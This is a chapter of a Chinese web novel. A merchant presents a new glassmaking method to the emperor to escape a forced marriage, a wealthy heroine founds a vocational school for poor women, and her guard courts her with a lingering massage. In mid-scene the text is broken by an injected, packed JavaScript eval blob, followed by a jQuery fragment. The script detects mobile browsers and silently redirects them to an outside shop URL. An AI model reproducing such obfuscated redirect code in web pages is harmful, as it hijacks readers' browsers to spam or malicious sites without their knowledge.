舟船归北,山水迢迢。
自珠城与林晚禾一别,苏景珩携着那只藏有绝世秘方的素色荷包,一路沉默北返京城。
船舱长夜漫漫,他无数次抚过荷包细腻的绣纹,指尖摩挲着两张薄纸秘方,字字句句皆是她赠予的富贵与生路,字字句句,也都是她亲手划下的陌路殊途。
隐忍的泪早已在归途风干,余下的,是彻骨清醒与万般沉淀。
他不再是从前那个会偏执纠缠、会卑微落泪、会贪恋片刻温存的少年,林晚禾断情的决绝、赠他前程的成全,逼着他一夜彻底长成。
回京之后,他摒弃所有儿女情长,闭门谢客、深耕工坊,将所有心力尽数扑在新式玻璃烧制之上。
依照林晚禾笔下精准的矿石配比、窑温把控、除泡提纯、降温定型之法,苏景珩亲自监工、反复调试、日夜改良。
从前大靖琉璃,浑浊发绿、杂质遍布、气泡繁多,仅能做粗陋摆件、寻常器皿,唯靠皇室垄断抬价,造价极高却品相拙劣。
而新法截然不同。
三月潜心淬炼,日夜打磨试错,第一批新式玻璃正式问世。
成片成型的玻璃澄澈通透、无瑕无杂,清亮如秋水、净如琉璃月,阳光落于其上,通透干净、熠熠生辉,无半分旧琉璃的浑浊暗沉。无论是平板玻璃、琉璃器皿、透光镜摆件,皆是当世从未有过的绝品,质感通透坚硬,品相碾压历朝历代所有珍宝。
苏景珩择吉日,亲自携全套玻璃成品入宫献君。
金銮殿上,文武百官初见这般通透清亮的奇物,满堂哗然,人人惊叹不止。
“世间竟有如此澄澈透亮之物!”
“远超皇家贡品琉璃,堪称旷世奇珍!”
“此物若量产,何止万金之利!”
帝王端坐龙椅,指尖轻抚冰凉透亮的玻璃镜面,眼底满是震撼与狂喜。
大靖百业兴旺,唯独透光琉璃、珍宝器皿常年粗劣,耗费巨资却无精品,如今这新法玻璃,不仅品相绝世,更可批量量产、成本低廉,是源源不断的国库财源。
龙颜大悦,帝王连声赞叹,直言苏家献旷世奇技、利国利民。
满殿称颂之声里,苏景珩身姿挺拔、从容跪伏,顺势叩首陈情,字字恳切、进退有度,全无半分恃功骄纵。
“臣有幸得新法技艺,潜心三月,终成通透琉璃,可量产兴业、充盈国库,臣出身商户,半生深耕商事,唯愿以实业报国,以商贾之利助国库丰盈、助民生安稳。”
他话锋一转,不卑不亢,坦然道出自身困境,不诉苦、不喊冤,只述本心志向:“臣生性闲散,无心朝堂权争,亦无勋贵理政之才,若奉旨尚公主,身居皇亲、束于权贵,反倒束手束脚、无所建树,空耗圣恩、虚占名分,难以为国效力、为朝牟利。”
“臣只求脱婚嫁桎梏,安心深耕实业,以琉璃新业岁岁纳贡、年年富民,为大靖挣万世财利。”
此言坦荡通透、公私分明。
他不求权势、不求恩宠、只求安稳经商、实业报国,格局坦荡、心怀家国,反倒让帝王心生赏识。
世人皆盼攀附皇家、跻身勋贵,唯独苏景珩,手握旷世暴利产业,只求脱身权贵捆绑,专心为国生财。
苏景珩趁势再退一步,出手阔绰、格局拉满,彻底稳住帝王心意:“此玻璃新业,臣愿分出三成干股归于国库,此后量产盈利,三成尽数充盈国库,永世不变,以报圣恩、以利家国。”
三成股份,便是源源不断、滚滚不尽的金山银海,岁岁不竭、年年不止。
帝王闻言龙心彻底安定,抚掌大笑,当即准其所请。
“卿有实业之才、报国之心,格局非凡。朕准你所请,往后无需顾及婚嫁束缚,安心经商、深耕产业即可。你只管为大靖赚遍天下财利,朕为你兜底护航!”
一句圣言,尘埃落定。
困扰苏家半年、逼得全族倾覆、让苏景珩走投无路的公主逼婚、权贵打压困局,彻底烟消云散。
自此,无人再敢提公主婚事,无人再敢打压苏家商事。苏家凭独家玻璃新业,成朝廷重点庇护的实业望族,根基稳如泰山,前程坦荡万丈。
……
北京城楼风云落定,江南府城烟火繁盛正浓。
这半年来,林晚禾的产业版图,早已抵达常人难以企及的鼎盛巅峰。
苏景婉的人工珍珠养殖产业彻底全面量产,浅滩万蚌育珠,产量碾压天然深海珠,货源充足、品相稳定,林晚禾作为最初合伙人,年年手握大额分红,流水暴涨。
高端珍珠礼盒线早已垄断周边数州高端市场,年年稳收数万纯利;珍珠牙粉、珍珠皂、滋养香膏全线铺开,平民、高端双线爆火,客源源源不断。
更不必说苏景珩书信一封,将玻璃新产业一成干股永久赠予她。
新式玻璃一经面世便疯抢一空,暴利惊人,一成分红便是天价进项,岁岁躺收万金。
年末总账一盘,林晚禾全年总营收,稳稳定格在四五十万两白银。
这个数字,足以抵寻常州县数年赋税,抵寻常望族数十代积累,富可敌城、财势滔天。
手握泼天富贵,产业遍地开花,麾下人人安稳富足,仆从得力、基业稳固,林晚禾反倒生出几分真切的烦恼。
她不贪权、不好奢、不喜铺张,衣食住行素来简朴随性,手下产业良性运转、无需她日日操劳,钱财越积越多,滚滚而来,多到库房堆积不下、账上流水无处消耗。
钱多到极致,反倒成了一桩无用的烦事。
看着账册上密密麻麻、源源不断的盈利数额,林晚禾独坐庭院,看着满院晴光,心头忽生通透念想。
钱财堆积无用,唯有普惠世人、铺路开途、照亮前路,方是最大价值。
这世间男子可入私塾、可求学明理、可学技谋生、可入朝立业,唯独女子,生来被困深宅、囿于闺阁、困于世俗偏见。
贫苦女子或为婢为奴、或早早嫁人生子、一生操劳无依;有才情者无处施展、有能干者无路可走,终身被婚姻、家务、世俗桎梏,活不出半分自我。
加之她亲眼见过珠奴阿煜这般底层绝境,见过无数底层女子命如草芥、身不由己,便决意,以手中泼天富贵,为大靖女子,劈开一条生路。
她当即拍板,倾尽财力,在府城中心,筹建大靖第一所女子职业技术学院。
不同于世间只教琴棋书画、闺仪女德的娇贵私塾,这是真正普惠底层、学以致用、立足谋生的女子职学。
学院大开山门,不设门槛、不限年龄、不分出身。
垂髫幼女、及笄少女、已婚妇人、贫苦孤女、无依流民,但凡愿意求学、想学一技之长立足世间者,皆可入学。
课程尽数贴合自家产业与当世实用生计,摒弃无用闺训,全是安身立命的真本事:
开设珠粉精制、礼盒装帧、皂品工艺、纺织缝纫、账目算数、商铺记账、礼仪管事、物料管理、瓷艺打磨多门实用学科,分科教学、循序渐进,因材施教。
学费定价极低,普惠清贫,寻常百姓皆可承受。
若是家境赤贫、无钱缴费、孤苦无依者,一律准许免费入学,分文不取,包学包会。
学院只设一条温和规矩:凡免费入学、受她财力庇护求学的学子,学成结业之后,需进入她名下各大工坊、商铺劳作数年,以工抵学费,还清助学资费即可,往后来去自由、任由择业。
没有卖身契、没有终身捆绑、没有压迫桎梏。
她给底层女子绝境生路、给立身技能、给求学机会,只让她们凭劳力回馈,公平坦荡、光明正大。
学堂破土动工,工匠日夜赶工,校舍宽敞规整、窗明几净,讲堂、作坊、寝室、膳房一应俱全。
消息传开,整个府城哗然。
世人从未见过这般破例学堂,不收门第、不拘年岁、专为女子立学,教女子谋生手艺,让无数困于深宅、困于贫苦的女子,第一次看见了前路微光。
无数贫苦孤女、乡间少女、底层妇人纷纷奔赴府城,排队报名求学。
往日只能操持家务、嫁人生子、卑微度日的女子,终于有了读书学艺、凭本事立身、不靠男人、不靠婚嫁谋生的出路。
府城烟火融融,新学朗朗将启。
林晚禾立在新建的学堂院前,看着往来络绎、眼里带着期盼微光的女子们,心头澄澈安然。
她手握四五十万两年收入的泼天富贵,不筑豪宅、不蓄私财、不逐权势,尽数化作人间生路。
有人得富贵安稳、朝堂平安;有人得山河坦荡、陌路自由;而她,散尽万金,为乱世女子,点亮万千前路。
诸事落定,林晚禾终于得闲,独自坐在院中紫藤花架下休憩,连日伏案操劳,肩背酸涩疲惫,眉眼带着浅浅慵懒松弛。
不远处,黑衣劲装少年静静立在暮色里。
阿煜身姿挺拔如孤松,常年深海潜水淬炼出的劲瘦线条利落紧致,不见冗余赘肉,冷白肌肤在昏光里近乎透光,清绝骨相夺目绝尘。
自珠城船舱门外那一夜值守过后,他心里便彻底通透、彻底认命,也彻底心动。
那晚他立在门外,听尽帐内温存、听尽女主子温柔断情、听尽那位京城贵公子数年痴恋一朝破碎、无声泪崩。
他看懂了——
她从不被情爱捆绑,从不为男人驻足,她随性、清醒、强势、自由。
她可以温柔待人,亦可决绝断缘。
她不要纠缠、不要执念、不要世俗婚配,她只要随心所欲、自在掌控。
也是那一夜,阿煜心底卑微滋生出隐秘的贪念。
他是她亲手从泥沼罪籍里捞出来的人,是身份最不配她的侍卫,可他心甘情愿、俯首臣服,悄悄滋生出隐忍又黏糊的心思。
他不是个无的放矢的人,他的容貌在采珠场时不止受女子喜爱,有些变态男人都喜爱他这皮囊,那时他拼死反抗,可短短数月,他竟庆幸自己这幅皮囊。
他看得懂主子时不时落在他身上的眼神……
暮色沉沉,四下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860644|209650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无人。
阿煜抬步,脚步极轻、无声无息,缓缓走到她身后,他没有出声打扰,只是微微俯身。
修长微凉的手指,轻轻搭上她的双肩。
指腹带着薄茧,力道温柔精准,缓缓按压、揉捏,一点点揉开她肩背积攒多日的僵硬酸痛。
他俯身极低,整个人几乎半圈拢住她坐在花架下的身影,少年清浅干净的呼吸,轻轻扫过她的发顶、后颈,温热细碎,若有若无,暧昧缠人。
“主子累了。”
他声音压得很低,磁性清哑,带着独属于他的温顺宠溺,私下调子,只敢在无人之时展露。
林晚禾微微仰头,松弛脊背,任由他伺候,淡淡应了一声:“嗯。”
得到默许,阿煜眼底暗色微动,愈发胆大温柔。
他不止单单揉按肩背,掌心微微收拢,温热掌面完整覆住她的肩头,顺着肩线缓缓摩挲、按压,一寸寸贴紧布料,暖意透过肌理层层浸透。
按着按着,他指尖微微下移,轻轻扣住她纤细的手腕。
少年手指修长骨感,力道克制温柔,轻轻包裹住她的手腕,冷白温热的皮肤紧紧贴合,细腻相触,久久不松。
他垂眸,浓密长睫垂下,遮住眼底汹涌的贪恋,视线牢牢落在她白皙纤细的手腕上。
他是从深海炼狱爬出来的人,一辈子见尽肮脏、暴戾、冰冷、死亡,唯独她,是他此生唯一的暖意、唯一的救赎、唯一的光。
他舍不得放开半分。
稍顷,他缓缓起身,依旧站在她身后,微微俯身,抬手替她轻轻拂开落在颊边的一缕碎发。
指腹极轻擦过她的侧脸肌肤,软嫩微凉的触感一瞬击中心底,阿煜指尖微颤,耳廓瞬间泛红发烫。
只是一瞬触碰,他却像沉溺良久。
他不敢贪心逾矩,却忍不住黏糊靠近,微微低头,下颌几乎要轻轻抵上她的发顶,气息彻底缠绕交织。
“风大,落絮沾脸了。”他低声解释,嗓音微哑,掩饰自己心底汹涌的贪恋。
林晚禾微微侧头,抬眸看他。
暮色里少年眉眼清绝孤冷,眼底却盛满温顺、臣服与隐秘深情,干净又偏执,卑微又炙热。
她看得通透,这少年悄悄爱慕她、贪恋她、靠近她、黏着她,小心翼翼、隐忍克制,却次次忍不住私下调戏、近身触碰。
“你今日倒是格外黏人。”她随口轻笑,语气慵懒纵容。
阿煜心口一颤,被她一语戳破心事,垂眸更温顺,低声坦白,听话又乖巧:“想多伺候主子。”
他顺势侧身,半蹲在她身侧,方便替她揉按手臂。
手掌轻轻托起她的小臂,掌心完整贴合,从手腕一路轻柔揉捏至肘弯,动作耐心细致,温柔得近乎缱绻。
肌肤反复贴合摩挲,温热触感来回缠绕,暮色静谧,四周无风无声,只剩两人贴近的呼吸、细微的触碰声,暧昧黏糊得让人心跳渐乱。
揉完手臂,他没有立刻松手,依旧掌心托着她的小臂,指尖极轻、极慢地摩挲她细嫩的肌肤,一寸一寸,贪恋温存。
“主子的手,很软。”
他低头看着相贴的肌肤,低声呢喃,语气真诚又贪恋,是藏了很久的心里话,只敢在无人私底说出口。
说完,他微微抬头,目光直直看向她眼底,清漆黑的瞳孔盛满纯粹的喜欢与臣服,坦荡又卑微。
林晚禾静静看着他,没有拒绝、没有推开,任由他这般近身黏糊、放肆贪恋。
见她纵容默许,阿煜心底愈发滚烫,胆子更甚,他抬手,极轻地扶住她的后颈,微微替她拉伸放松脖颈,指尖贴着她颈后细腻肌肤,轻轻按压、缓缓摩挲。
距离近得极致,他温热的呼吸尽数喷洒在她耳畔、颈侧,丝丝缕缕,缠缠绕绕。
少年隐忍多年的心动、绝境余生的依赖、悄然滋生的姐弟情深爱恋,尽数藏在这一次次克制又放肆的私底触碰里。
按揉完毕,他没有退后,依旧半蹲在她身侧,掌心虚虚护在她腰侧,指尖偶尔轻轻擦过她的腰侧衣料,温柔缱绻,舍不得拉开距离。
“起身走走吗?久坐伤身。”他轻声询问。
林晚禾微微颔首。
他立刻起身,极自然地伸手扶住她的腰,稳稳托着她起身,掌心温热,稳稳贴合腰侧软肉,借力轻轻将她扶起。
起身一瞬,他故意微微贴近,肩头轻轻抵着她的肩头,侧身相依,并肩而立,肢体完完全全贴近相靠。
一站一立,肩背相贴、呼吸相缠、身影相依。
晚风拂过紫藤花枝,落絮漫天飞舞,阿煜垂眸看着身侧从容自在、万千风华的女子,心底清清楚楚——
苏景珩是轰轰烈烈、倾尽所有、偏执数年的深爱,最后含泪放手、赠她山河富贵。
而他阿煜,是绝境逢生、俯首臣服、悄悄奔赴、贴身相守的暗恋。
他不吵、不闹、不逼名分、不索余生。
他只做她私底下最黏人、最温顺、最听话、最会温存的小少年。